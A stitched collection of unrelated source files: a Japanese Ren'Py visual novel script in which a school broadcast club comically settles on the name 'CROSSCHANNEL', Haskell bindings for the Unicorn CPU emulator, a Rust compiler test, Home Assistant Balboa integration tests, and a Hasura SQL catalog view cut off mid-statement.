Dissolve(500.0/1000.0) voice "vmcca0030sku017" 桜庭 "「……メチャいたいぜ」" "打たれ強い桜庭は、たいしてこたえていなかった。" stop bgm call gl(1,"TCMM0000|TCMM000x") call vsp(2,0) call vsp(3,0) call vsp(1,0) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030msa035" 見里 "「はーい、三流コントはそのくらいにして、とっとと始めましょうね」" voice "vmcca0030sku018" 三人 "「へーい」" call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) "男衆はのたくたと動き出す。" call gl(1,"TCSK0000|TCSK000x") call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) "霧は少し離れて、一同を見守っていた。" "孤立している彼女は、美希がいないと所在なげだ。" 太一 "「へい!」" "霧は応じず、そっぽを向いた。" "苛立って、踵を打ちつける。" "やれやれだな……。" call gl(2,"TCYM0003|TCYM0003") call vsp(2,1) call gp(2,t=left) call gp(1,t=right) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki016" 美希 "「おまた」" "美希が戻る。" "ごく自然に、霧のそばに立つ。" "この二人。" "霧の方が保護者のように見えて、その実、美希が中心になっている。" "傍目の力関係と、実際のそれは正反対なのだ。" "その支配性を感じさせる構図に。" "心がざわついた。" play bgm "bgm/bgm002.ogg" call vsp(1,0) call vsp(2,0) with Dissolve(500.0/1000.0) "けど今は放送のことを考えないと。" "原稿も初期稿しかないし。" "そういえば、曜子ちゃんの姿が見えない。" "参加すると言ったからには、どこかにいるはずだ。" "探る。" "半径20メートルには動きの活発なものは六つ。" "ただその先に、かすかな違和感がある。" "給水塔。" 太一 "「いた」" "案の定というか、給水塔の上に潜んでいた。" "小さな影がかすかに動いている。" "彼女だ。" "ほんの身じろぎほどの動作。" "だがわずかでも動があれば、俺にはわかった。" "この味気ない世界で、俺は誰よりも鋭敏になれた。" 太一 "「ほんと興味ないんだな」" voice "vmcca0030yki015" 友貴 "「え? 何?」" 太一 "「あー、友貴に言ったんでなくて」" 太一 "「さー放送放送」" call gl(1,"TCYM0000|TCYM0000") call gp(1,t=left) call vsp(1,1) with dissolve voice "vfcca0030mki017" 美希 "「この放送、なんか番組名はあるんですか?」" call gl(2,"TCMM0031|TCMM0031") call gp(2,t=center) call vsp(2,1) with dissolve voice "vfcca0030msa036" 見里 "「んー、決めてませんでしたね」" call gl(3,"TCSH0003|tcsh") call gp(3,t=center) call vsp(1,0) call vsp(2,0) call vsp(3,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku019" 桜庭 "「はい」" voice "vfcca0030msa037" 見里 "「どーぞ桜庭くん」" stop bgm voice "vmcca0030sku020" 桜庭 "「恐怖地獄放送局」" voice "vfcca0030msa038" 見里 "「えいっ」" play se "se003" "ぼぐぅ" with vpunch call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) play se "se038" with vpunch "部長パンチが桜庭にめりこんだ。" play bgm "bgm/bgm006.ogg" call gl(1,"TCMM0000|TCMM000x") call gp(1,t=center) call vsp(1,1) with dissolve voice "vfcca0030msa039" 見里 "「却下でーす。他には?」" call gl(3,"TCSH0000|tcsh") call vsp(1,0) call vsp(3,1) call gp(3,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030sku021" 桜庭 "「いたいぜ~」" call gl(2,"TCST0005|TCST0004") call vsp(0,1) call vsp(1,0) call vsp(2,1) call vsp(3,1) call gp(3,t=left) call gp(2,t=right) with Dissolve(500.0/1000.0) voice "vmcca0030yki016" 友貴 "「君は本当にバカだな」" call gl(3,"TCSH0001|tcsh") call vsp(3,1) with dissolve voice "vmcca0030sku022" 桜庭 "「でもでも、こういうのはインパクトじゃん?」" 太一 "「じゃあ適当にバンバン言ってみるか」" call gl(2,"TCST0000|TCST0000") call vsp(2,1) with dissolve voice "vmcca0030yki017" 友貴 "「うん」" 太一 "「スーパー忍者」" call gl(1,"TCMM0005|TCMM000x") call vsp(1,1) call vsp(2,0) call vsp(3,0) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030msa040" 見里 "「……」" call gl(3,"TCYM0001|TCYM0000") call gp(3,t=left) call vsp(3,1) call vsp(1,0) with Dissolve(500.0/1000.0) voice "vfcca0030mki018" 美希 "「セクハラ武士道」" call gl(2,"TCSH0000|tcsh") call gp(2,t=center) call vsp(3,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku023" 桜庭 "「淫妖美群~著·夢○漠~」" call gl(1,"TCST0004|TCST0004") call gp(1,t=right) call vsp(1,1) call vsp(3,1) with Dissolve(500.0/1000.0) voice "vmcca0030yki018" 友貴 "「放送倶楽部」" "最初の一つで方向性が決まってしまったらしい。" 太一 "「スーパー忍者」" call gl(3,"TCYM0003|TCYM0003") call vsp(3,1) with dissolve voice "vfcca0030mki019" 美希 "「くるくるぱー放送局」" play se "se039" call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) "その場にいた全員が、事務的かつ義務的に美希をこづいた。" with vpunch call gl(3,"TCYM0041|TCYM0041") call gp(3,t=center) call vsp(3,1) with dissolve voice "vfcca0030mki020" 美希 "「いたた……しどい……」" call gl(4,"TCMM0006|TCMM0006") call vsp(1,0) call vsp(2,0) call vsp(3,0) call vsp(4,1) call gp(4,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030msa041" 見里 "「不謹慎禁止」" call gl(1,"TCYM0041|TCYM0041") call vsp(1,1) call vsp(4,0) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030mki021" 美希 "「しぃません」" hide pic1 with dissolve "仕切り直し。" 太一 "「スーパー忍者」" call gl(1,"TCST0003|TCST0000") call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030yki019" 友貴 "「それがイチオシなのか……」" call gl(2,"TCSH0003|tcsh") call gp(1,t=right) call gp(2,t=left) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku024" 桜庭 "「どんな忍者だ」" 太一 "「なんつうか超スーパー、メガフューチャー」" "身振りで説明する。" 太一 "「十メートルくらいある壁とか飛び越える。で、愛刀·木枯丸でバッサバッサと」" voice "vmcca0030yki020" 友貴 "「悪代官を斬る?」" "それもベタでつまらんな。" 太一 "「あー」" 太一 "「町娘を斬る」" call gl(1,"TCST0004|TCST0004") call vsp(1,1) with dissolve voice "vmcca0030yki021" 友貴 "「サイコパスだよ!」" call gl(2,"TCSH0002|tcsh") call vsp(2,1) with dissolve voice "vmcca0030sku025" 桜庭 "「……サイコパス」" call gl(3,"TCMM0006|TCMM0006") call vsp(3,1) call gp(3,t=center) call vsp(1,0) call vsp(2,0) with Dissolve(500.0/1000.0) voice "vfcca0030msa042" 見里 "「却下」" call gl(1,"TCST0000|TCST0000") call vsp(3,0) call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030yki022" 友貴 "「少しは加工しなよ」" call gl(2,"TCSH0002|tcsh") call gp(1,t=right) call gp(2,t=left) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku026" 桜庭 "「難しい」" voice "vfcca0030msa043" 見里 "「マイナス方向から離れてくださーい」" "先輩がメガホン(あった)で叫ぶ。" call vsp(1,0) call vsp(2,0) with Dissolve(500.0/1000.0) 太一 "「うーん」" 太一 "「みみみ先輩の桃色Gスポット」" call gl(1,"TCMM0006|TCMM0006") call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030msa044" 見里 "「セヤッ」" play se "se003" extend "ぼぐぅ" with vpunch hide pic1 with dissolve "殴られた。" "美しい中段の正拳であった。" 太一 "「おうふっ」" call gl(1,"TCMM0002|TCMM000x") call vsp(1,1) with dissolve voice "vfcca0030msa045" 見里 "「下品なのはいけませんのでありましょう?」" 太一 "「ウイー」" call gl(2,"TCSH0002|tcsh") call gp(2,t=center) call vsp(1,0) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku027" 桜庭 "「DJはフラワーズにしよう」" 太一 "「え゛!?」" call gl(1,"TCYM0021|TCYM0021") call gp(1,t=left) call gp(2,t=right) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki022" 美希 "「霧ちんにきいてみませんと」" 太一 "「そ、そんな、ちょっと……」" call gl(2,"TCSH0003|tcsh") call vsp(2,1) with dissolve voice "vmcca0030sku028" 桜庭 "「ギャルであるべきだ」" 太一 "「あー」" "わかるが。" "未練だ。" voice "vfcca0030mki023" 美希 "「ではでは」" call vsp(1,0) with Dissolve(500.0/1000.0) play se "se035" "走っていった。" voice "vfcca0030mki024" 美希 "「―――」" voice "vfcca0030kri008" 霧 "「―――」" call gl(1,"TCYM0000|TCYM0000") call gp(1,t=center) call vsp(1,1) with dissolve play se "se035" "戻ってきた。" stop se call gl(1,"TCYM0003|TCYM0003") call vsp(1,1) with dissolve voice "vfcca0030mki025" 美希 "「寝言は死んでから言えこのチヌ野郎ども、だそうです」" call gl(2,"TCSH0000|tcsh") call vsp(2,1) with dissolve voice "vmcca0030sku029" 桜庭 "「ふっ……相変わらず、手厳しい」" "桜庭は嬉しげにクネクネした。マゾだから。" 太一 "「チヌって何だ?」" call gl(1,"TCMM0000|TCMM000x") call gp(1,t=left) call gp(2,t=right) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa046" 見里 "「チヌダイのことですね。変な顔したタイですよ」" call gl(2,"TCSH0003|tcsh") call vsp(2,1) with dissolve voice "vmcca0030sku030" 桜庭 "「変な顔?」" voice "vfcca0030msa047" 見里 "「こーんな感じです」" call gl(5,"sgcc0011") call vsp(1,0) call vsp(2,0) call vsp(5,1) with Dissolve(500.0/1000.0) 太一 "「てめー霧、夜道を歩く時は貞操に注意するんだな!」" voice "vfcca0030kri009" 霧 "「……(ぷい)」" 太一 "「もきーっ、あの小娘ーっ」" hide pic5 with dissolve call gl(1,"TCST0000|TCST0000") call vsp(3,0) call vsp(1,1) call gp(1,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030yki023" 友貴 "「まあまあ」" call gl(2,"TCSH0002|tcsh") call gp(1,t=right) call gp(2,t=left) call vsp(1,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku031" 桜庭 "「オラ、なんか疲れてきたぞ」" call gl(3,"TCMM0001|TCMM000x") call vsp(1,0) call vsp(2,0) call vsp(3,1) call gp(3,t=center) with Dissolve(500.0/1000.0) voice "vfcca0030msa048" 見里 "「君が言いますか」" "さすがに厭戦気分が漂いだした。" "プチ人格破綻者たちの交流なんてこんなもんです。" 太一 "「そうだ、桐原の意見は?」" call gl(5,"TCKT0000|TCKT000x") call vsp(1,0) call vsp(2,0) call vsp(3,0) call vsp(4,0) call gp(5,t=center) call vsp(5,1) with dissolve voice "vfcca0030fyu038" 冬子 "「は?」" 太一 "「いちおう部員なんだし、何か言えこのスベタ」" call gl(5,"TCKT0002|TCKT000x") call vsp(5,1) with dissolve voice "vfcca0030fyu039" 冬子 "「ふん」" "迷惑そうに鼻を鳴らし。" call gl(5,"TCKT0001|TCKT000x") call vsp(5,1) with dissolve voice "vfcca0030fyu040" 冬子 "「……馬鹿'S(おバカちゃんたち)」" call gl(1,"TCSH0003|tcsh") call vsp(5,0) call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vmcca0030sku032" 桜庭 "「おのれ! ちょっと金持ちだという分際でよくも馬鹿にしてくれるものだ!」" voice "vmcca0030yki024" 友貴 "「おまえだよ」" 太一 "「おまえだよ」" play se "se037" hide pic1 with dissolve with vpunch "同時に同等のツッコミ(暴力)が、桜庭をマットに沈めた。" voice "vmcca0030yki025" 友貴 "「しかもおまえ金持ちでバカじゃないか。そのままだ」" voice "vmcca0030sku033" 桜庭 "「……スマヌ……」" 太一 "「確かにこいつはバカだがその案はいただけないな、桐原」" call gl(5,"TCKT0001|TCKT000x") call vsp(5,1) with dissolve voice "vfcca0030fyu041" 冬子 "「……つーん」" call gl(1,"TCYM0021|TCYM0021") call vsp(5,0) call gp(1,t=center) call vsp(1,1) with Dissolve(500.0/1000.0) voice "vfcca0030mki026" 美希 "「決まりそうにないですね」" 太一 "「先輩の意見は?」" call gl(2,"TCMM0031|TCMM0031") call gp(2,t=center) call vsp(1,0) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa049" 見里 "「……そうですね」" "さすがにこのバカどもに任せてはおけないと考えたのか。" "先輩は腕組み、考えた。" call gl(2,"TCMM0000|TCMM000x") call vsp(2,1) with dissolve voice "vfcca0030msa050" 見里 "「ぺけくんがDJとして……黒須チャンネル」" voice "vmcca0030sku034" 桜庭 "「安易だ」" 太一 "「だが一番まともだ」" call gl(1,"TCYM0003|TCYM0003") call gp(1,t=center) call vsp(1,1) call vsp(2,0) with Dissolve(500.0/1000.0) voice "vfcca0030mki027" 美希 "「しかも気になるアイツの名前がついてて激キュート!」" call gl(1,"TCYM0001|TCYM0000") call vsp(1,1) with dissolve voice "vfcca0030mki028" 美希 "「……と霧ちんがわたしの耳に熱く囁いたのでした」" voice "vfcca0030kri010" 霧 "「言ってないっ!!」" "遠くで怒る霧。" 太一 "「くそう、本音を隠して俺を萌えさせるそんな貴様にデートを申し込むぞ、佐倉霧!!」" voice "vfcca0030kri011" 霧 "「言ってないーっ!!」" call gl(3,"TCST0000|TCST0000") call gp(3,t=center) call vsp(3,1) call vsp(1,0) with Dissolve(500.0/1000.0) voice "vmcca0030yki026" 友貴 "「さておき……黒須はCROSSでいいんじゃない?」" call gl(2,"TCMM0000|TCMM000x") call gp(2,t=left) call gp(3,t=right) call vsp(2,1) call vsp(3,1) with Dissolve(500.0/1000.0) voice "vfcca0030msa051" 見里 "「ああ、英単語の?」" "先輩に話しかけられて、一瞬友貴は戸惑う。" call gl(3,"TCST0001|TCST0001") call vsp(3,1) with dissolve voice "vmcca0030yki027" 友貴 "「……まあ」" voice "vfcca0030msa052" 見里 "「CROSS CHANNELですか。うん、いいですね」" call gl(3,"TCST0004|TCST0004") call vsp(3,1) with dissolve "複雑な顔のまま。" voice "vmcca0030yki028" 友貴 "「まあ、いいんじゃないの……」" voice "vfcca0030msa053" 見里 "「ぺけくんはどうですか?」" 太一 "「小生めの名を冠していただき、恐悦至極」" call gl(3,"TCSH0003|tcsh") call vsp(1,0) call vsp(2,0) call vsp(3,1) call gp(3,t=center) with Dissolve(500.0/1000.0) voice "vmcca0030sku035" 桜庭 "「待て」" 太一 "「なんだね同志ムッツリーニ。よもやこのお素敵ネーミングにクレームをつけようというムッツリした魂胆ではあるまいな?」" call gl(3,"TCSH0002|tcsh") call vsp(3,1) with dissolve voice "vmcca0030sku036" 桜庭 "「CROSS CHANNELではなくCROSSCHANNELがいい」(読みは変わらず)" call gl(2,"TCST0000|TCST0000") call gp(2,t=right) call gp(3,t=left) call vsp(3,1) call vsp(2,1) with Dissolve(500.0/1000.0) voice "vmcca0030yki029" 友貴 "「わからない……本当にこいつはわからない……」" 太一 "「いいな、それ」" voice "vmcca0030yki030" 友貴 "「わかるのかよ」" call gl(3,"TCSH0001|tcsh") call vsp(3,1) with dissolve voice "vmcca0030sku037" 桜庭 "「自信アリ」" 太一 "「おまえにしてはなかなかのアイデアだと認めよう」" "決まり。" "群青学院放送局·CROSSCHANNELの開局だった。" call gl(0,"bgcc0023") call vsp(0,1) call vsp(1,0) call vsp(2,0) call vsp(3,0) with Dissolve(500.0/1000.0) 太一 "「よし友貴、放送だ! ボイラーに火を入れろ!」" voice "vmcca0030yki031" 友貴 "「ないよ」" voice "vmcca0030sku038" 桜庭 "「面舵いっぱい」" voice "vmcca0030yki032" 友貴 "「船か」" "なぜか友貴のツッコミは事務的だった。" voice "vfcca0030fyu042" 冬子 "「馬鹿トリオ」" "苛立たしげに呟く。" 太一 "「馬鹿じゃなけりゃ、少なくともここに全員は揃わなかったさ」" voice "vfcca0030fyu043" 冬子 "「?」" voice "vfcca0030msa054" 見里 "「本当に全員……だったら良かったのに」" "ほ、と大きく憂鬱玉を吐き出す先輩。" 太一 "「とにかく桐原、せっかく来たんだから俺の流ちょうなトークに濡れていきなよ」" voice "vfcca0030fyu044" 冬子 "「……ばかすぎ」" "向こうを向いて、冬子は飴玉を口に放り込んだ。" "バリバリと噛み砕く。" 太一 "「照れたの?」" "下方から顔をのぞきこむ。唇間の距離は五センチ。" voice "vfcca0030fyu045" 冬子 "「きゃいやーーーーーーーっ!?」" call gl(5,"bgcc0000d") stop bgm play se "se003" call gp(5,t=center) call vsp(5,1) with dissolve with vpunch "冬子は『きゃあ』と『いやぁ』を融合させた斬新な悲鳴をあげて、人の顔に拳を叩き込んだのだった。" pause (1000.0/1000.0) pause (2000.0/1000.0) call gl(0,"bgcc0007fa") call vsp(0,1) call vsp(5,0) with wipeleft 太一 "「じゃ、はじめるか」" call gl(1,"TCYM0000b|TCYM0000") call gp(1,t=center) call vsp(1,1) with dissolve voice "vfcca0030mki029" 美希 "「映像出ないメディアで良かったですね」" 太一 "「まったくだ」" "殴打のあとを見せられるはずがない。" call gl(0,"bgcc0000b") call vsp(0,1) call vsp(1,0) with Dissolve(500.0/1000.0) "用意されたマイクの前に座る。" "夕方のほどよい風。" "優しく屋上をさらって、熱気の残り香をすくい取った。" "気が引き締まる。" "曜子ちゃんに目線を送り、親指を立てた。" 曜子 "「……」" "すぐ親指を返してくる。" voice "vfcca0030msa055" 見里 "「……支倉……さん?」" "やりとりを見て、気づいたのは部長だけだった。" 太一 "「イエース」" 太一 "「全員、いるのです」" voice "vfcca0030msa056" 見里 "「ぺけくん……が?」" 太一 "「確かに部活ごっこには違いないけど」" "空疎で。" "怠惰で。" "どうしようもない欺瞞でありながら。" 太一 "「今という時には、必要なことですよ」" voice "vfcca0030msa057" 見里 "「……」" "先輩は凍りついて、その場に立ち尽くした。" voice "vfcca0030msa058" 見里 "「でも、私はただ……」" voice "vfcca0030msa059" 見里 "「そんな尊い理由で……っ!」" 太一 "「いいんですって、そーいう本音みたいなことは」" 太一 "「みんなで部活。はいオシマイ」" voice "vfcca0030msa060" 見里 "「私は……」" play bgm "bgm/bgm024.ogg" "ここに全員いる。" "みんなが、ここにいる。" "単に、放送部員がいるという意味だけじゃあない。" "幾多の嘘と騙しの上に成立した、仲良しこよしの残骸だ。" "そんなものが、この世界に生きる俺たちの寿命を、心の崩壊までのリミットを、少しだけ延ばしてくれる。" voice "vmcca0030yki033" 友貴 "「いいぞ、太一」" voice "vfcca0030mki030" 美希 "「6時まであと5、4……」" "美希が口を閉じ、指を一本ずつ減らしていく。" "3。" call gl(1,"bgcc0010a") call gp(1,t=center) call vsp(1,1) with dissolve hide pic1 with dissolve "夢見ていた。" "2。" call gl(1,"bgcc0008a") call gp(1,t=center) call vsp(1,1) with dissolve hide pic1 with dissolve "こういう他愛ない部活動、普通のガクセーらしい日常を。" "1。" call gl(1,"bgcc0011a") call gp(1,t=center) call vsp(1,1) with dissolve hide pic1 with dissolve "思い出があれば、俺はそれでいい。" "0。" call gl(1,"bgcc0006a") call gp(1,t=center) call vsp(1,1) with dissolve hide pic1 with dissolve "満足だ―――" "息を吸う。" "原稿を手放す。" "夏の香りを含んだ夕風が、悪戯する手つきでそれをさらっていく。" voice "vfcca0030msa061" 見里 "「あっ?」" call gl(1,"efcc2001") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2002") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2003") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2004") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2005") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2006") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2007") call vsp(1,1) with Dissolve(0.2) call gl(1,"efcc2008") call vsp(1,1) with Dissolve(0.2) play se "se040" "原稿は連なって飛び立ち、千々に乱れて中空に散った。" "さあ放送だ。" 太一 "「こちら、群青学院放送部」" "たとえ無駄だとわかっていても。" "すがりついて生きていく。" "そして俺は、力強く言葉を押し出した。" pause (500.0/1000.0) stop bgm #textoff call gl(0,"efcca0030") call vsp(1,0) call vsp(0,1) with Dissolve(500.0/1000.0) pause call gl(0,"efcc0000") call vsp(0,1) call vsp(1,0) with Dissolve(500.0/1000.0) pause call ndemo0001 return #
Ren'Py
3
fossabot/cross-channel_chinese-localization_project
AllPlatforms/scripts/cca/cca0030.rpy
[ "Apache-2.0" ]
{-# LANGUAGE ForeignFunctionInterface #-} {-# LANGUAGE ScopedTypeVariables #-} {-| Module : Unicorn.Internal.Unicorn Description : The Unicorn CPU emulator. Copyright : (c) Adrian Herrera, 2016 License : GPL-2 Low-level bindings for the Unicorn CPU emulator framework. This module should not be directly imported; it is only exposed because of the way cabal handles ordering of chs files. -} module Unicorn.Internal.Unicorn ( -- * Types Architecture(..) , Mode(..) , MemoryPermission(..) , MemoryRegion(..) , QueryType(..) , Context -- * Function bindings , ucOpen , ucQuery , ucEmuStart , ucEmuStop , ucRegWrite , ucRegRead , ucRegWriteBatch , ucRegReadBatch , ucMemWrite , ucMemRead , ucMemMap , ucMemUnmap , ucMemProtect , ucMemRegions , mkContext , ucContextAlloc , ucContextSave , ucContextRestore , ucVersion , ucErrno , ucStrerror ) where import Control.Applicative import Control.Monad import Data.ByteString (ByteString, useAsCStringLen) import Foreign import Foreign.C import Prelude hiding (until) import Unicorn.Internal.Util {# import Unicorn.Internal.Core #} {# context lib = "unicorn" #} #include <unicorn/unicorn.h> #include "unicorn_wrapper.h" ------------------------------------------------------------------------------- -- Types ------------------------------------------------------------------------------- -- | CPU architecture. {# enum uc_arch as Architecture { underscoreToCase } with prefix = "UC_" deriving (Show, Eq, Bounded) #} -- | CPU hardware mode. {# enum uc_mode as Mode { underscoreToCase } with prefix = "UC_" deriving (Show, Eq, Bounded) #} -- | Memory permissions. {# enum uc_prot as MemoryPermission { underscoreToCase } with prefix = "UC_" deriving (Show, Eq, Bounded) #} -- | Memory region mapped by 'memMap'. Retrieve the list of memory regions with -- 'memRegions'. data MemoryRegion = MemoryRegion { mrBegin :: Word64 -- ^ Begin address of the region (inclusive) , mrEnd :: Word64 -- ^ End address of the region (inclusive) , mrPerms :: [MemoryPermission] -- ^ Memory permissions of the region } instance Storable MemoryRegion where sizeOf _ = {# sizeof uc_mem_region #} alignment _ = {# alignof uc_mem_region #} peek p = MemoryRegion <$> liftA fromIntegral ({# get uc_mem_region->begin #} p) <*> liftA fromIntegral ({# get uc_mem_region->end #} p) <*> liftA expandMemPerms ({# get uc_mem_region->perms #} p) poke p mr = do {# set uc_mem_region.begin #} p (fromIntegral $ mrBegin mr) {# set uc_mem_region.end #} p (fromIntegral $ mrEnd mr) {# set uc_mem_region.perms #} p (combineEnums $ mrPerms mr) -- | A pointer to a memory region. {# pointer *uc_mem_region as MemoryRegionPtr -> MemoryRegion #} -- | Query types for the 'query' API. {# enum uc_query_type as QueryType { underscoreToCase } with prefix = "UC_" deriving (Show, Eq, Bounded) #} -- | Opaque storage for CPU context, used with the context functions. {# pointer *uc_context as Context foreign finalizer uc_free_wrapper as memFree newtype #} -- | A pointer to a CPU context. {# pointer *uc_context as ContextPtr -> Context #} -- | Make a CPU context out of a context pointer. The returned CPU context will -- automatically call 'uc_free' when it goes out of scope. mkContext :: ContextPtr -> IO Context mkContext ptr = liftM Context (newForeignPtr memFree ptr) ------------------------------------------------------------------------------- -- Emulator control ------------------------------------------------------------------------------- {# fun uc_open as ^ { `Architecture' , combineEnums `[Mode]' , alloca- `EnginePtr' peek* } -> `Error' #} {# fun uc_query as ^ { `Engine' , `QueryType' , alloca- `Int' castPtrAndPeek* } -> `Error' #} {# fun uc_emu_start as ^ { `Engine' , `Word64' , `Word64' , `Int' , `Int' } -> `Error' #} {# fun uc_emu_stop as ^ { `Engine' } -> `Error' #} ------------------------------------------------------------------------------- -- Register operations ------------------------------------------------------------------------------- {# fun uc_reg_write_wrapper as ucRegWrite `Reg r' => { `Engine' , enumToNum `r' , withIntegral* `Int64' } -> `Error' #} {# fun uc_reg_read_wrapper as ucRegRead `Reg r' => { `Engine' , enumToNum `r' , alloca- `Int64' castPtrAndPeek* } -> `Error' #} {# fun uc_reg_write_batch_wrapper as ucRegWriteBatch `Reg r' => { `Engine' , withEnums* `[r]' , integralListToArray* `[Int64]' , `Int' } -> `Error' #} {# fun uc_reg_read_batch_wrapper as ucRegReadBatch `Reg r' => { `Engine' , withEnums* `[r]' , castPtr `Ptr Int64' , `Int' } -> `Error' #} ------------------------------------------------------------------------------- -- Memory operations ------------------------------------------------------------------------------- {# fun uc_mem_write as ^ { `Engine' , `Word64' , withByteStringLen* `ByteString'& } -> `Error' #} {# fun uc_mem_read as ^ { `Engine' , `Word64' , castPtr `Ptr Word8' , `Int' } -> `Error' #} {# fun uc_mem_map as ^ { `Engine' , `Word64' , `Int' , combineEnums `[MemoryPermission]' } -> `Error' #} {# fun uc_mem_unmap as ^ { `Engine' , `Word64' , `Int' } -> `Error' #} {# fun uc_mem_protect as ^ { `Engine' , `Word64' , `Int' , combineEnums `[MemoryPermission]' } -> `Error' #} {# fun uc_mem_regions as ^ { `Engine' , alloca- `MemoryRegionPtr' peek* , alloca- `Int' castPtrAndPeek* } -> `Error' #} ------------------------------------------------------------------------------- -- Context ------------------------------------------------------------------------------- {# fun uc_context_alloc as ^ { `Engine' , alloca- `ContextPtr' peek* } -> `Error' #} {# fun uc_context_save as ^ { `Engine' , `Context' } -> `Error' #} {# fun uc_context_restore as ^ { `Engine' , `Context' } -> `Error' #} ------------------------------------------------------------------------------- -- Misc. ------------------------------------------------------------------------------- {# fun pure unsafe uc_version as ^ { id `Ptr CUInt' , id `Ptr CUInt' } -> `Int' #} {# fun unsafe uc_errno as ^ { `Engine' } -> `Error' #} {# fun pure unsafe uc_strerror as ^ { `Error' } -> `String' #} ------------------------------------------------------------------------------- -- Helper functions ------------------------------------------------------------------------------- expandMemPerms :: (Integral a, Bits a) => a -> [MemoryPermission] expandMemPerms perms = -- Only interested in the 3 least-significant bits let maskedPerms = fromIntegral $ perms .&. 0x7 in if maskedPerms == 0x0 then [ProtNone] else if maskedPerms == 0x7 then [ProtAll] else checkRWE maskedPerms [ProtRead, ProtWrite, ProtExec] where checkRWE p (x:xs) = if p .&. (fromEnum x) /= 0 then x : checkRWE p xs else checkRWE p xs checkRWE _ [] = [] withIntegral :: (Integral a, Num b, Storable b) => a -> (Ptr b -> IO c) -> IO c withIntegral = with . fromIntegral withByteStringLen :: Integral a => ByteString -> ((Ptr (), a) -> IO b) -> IO b withByteStringLen bs f = useAsCStringLen bs $ \(ptr, len) -> f (castPtr ptr, fromIntegral len) withEnums :: Enum a => [a] -> (Ptr b -> IO c) -> IO c withEnums l f = let ints :: [CInt] = map enumToNum l in withArray ints $ \ptr -> f (castPtr ptr) integralListToArray :: (Integral a, Storable b, Num b) => [a] -> (Ptr b -> IO c) -> IO c integralListToArray l f = let l' = map fromIntegral l in withArray l' $ \array -> f array
C2hs Haskell
5
clayne/unicorn_pe
unicorn/bindings/haskell/src/Unicorn/Internal/Unicorn.chs
[ "MIT" ]
// build-pass (FIXME(62277): could be check-pass?) fn main() { const ARR: [i32; 6] = [42, 43, 44, 45, 46, 47]; const IDX: usize = 3; const VAL: i32 = ARR[IDX]; const BLUB: [i32; (ARR[0] - 41) as usize] = [5]; }
Rust
3
Eric-Arellano/rust
src/test/ui/feature-gates/feature-gate-const-indexing.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
"""Tests of the initialization of the balboa integration.""" from unittest.mock import MagicMock from homeassistant.components.balboa.const import DOMAIN as BALBOA_DOMAIN from homeassistant.config_entries import ConfigEntryState from homeassistant.const import CONF_HOST from homeassistant.core import HomeAssistant from . import TEST_HOST, init_integration from tests.common import MockConfigEntry async def test_setup_entry(hass: HomeAssistant, client: MagicMock) -> None: """Validate that setup entry also configure the client.""" config_entry = await init_integration(hass) assert config_entry.state == ConfigEntryState.LOADED await hass.config_entries.async_unload(config_entry.entry_id) assert config_entry.state == ConfigEntryState.NOT_LOADED async def test_setup_entry_fails(hass: HomeAssistant, client: MagicMock) -> None: """Validate that setup entry also configure the client.""" config_entry = MockConfigEntry( domain=BALBOA_DOMAIN, data={ CONF_HOST: TEST_HOST, }, ) config_entry.add_to_hass(hass) client.connect.return_value = False await hass.config_entries.async_setup(config_entry.entry_id) await hass.async_block_till_done() assert config_entry.state == ConfigEntryState.SETUP_RETRY
Python
5
MrDelik/core
tests/components/balboa/test_init.py
[ "Apache-2.0" ]
CREATE OR REPLACE VIEW hdb_catalog.hdb_table_info_agg AS ( select tables.table_name as table_name, tables.table_schema as table_schema, coalesce(columns.columns, '[]') as columns, coalesce(pk.columns, '[]') as primary_key_columns, coalesce(constraints.constraints, '[]') as constraints, coalesce(views.view_info, 'null') as view_info from information_schema.tables as tables left outer join ( select c.table_name, c.table_schema, json_agg( json_build_object( 'name', column_name, 'type', udt_name, 'is_nullable', is_nullable :: boolean ) ) as columns from information_schema.columns c group by c.table_schema, c.table_name ) columns on ( tables.table_schema = columns.table_schema AND tables.table_name = columns.table_name ) left outer join ( select * from hdb_catalog.hdb_primary_key ) pk on ( tables.table_schema = pk.table_schema AND tables.table_name = pk.table_name ) left outer join ( select c.table_schema, c.table_name, json_agg(constraint_name) as constraints from information_schema.table_constraints c where c.constraint_type = 'UNIQUE' or c.constraint_type = 'PRIMARY KEY' group by c.table_schema, c.table_name ) constraints on ( tables.table_schema = constraints.table_schema AND tables.table_name = constraints.table_name ) left outer join ( select table_schema, table_name, json_build_object( 'is_updatable', (is_updatable::boolean OR is_trigger_updatable::boolean), 'is_deletable', (is_updatable::boolean OR is_trigger_deletable::boolean), 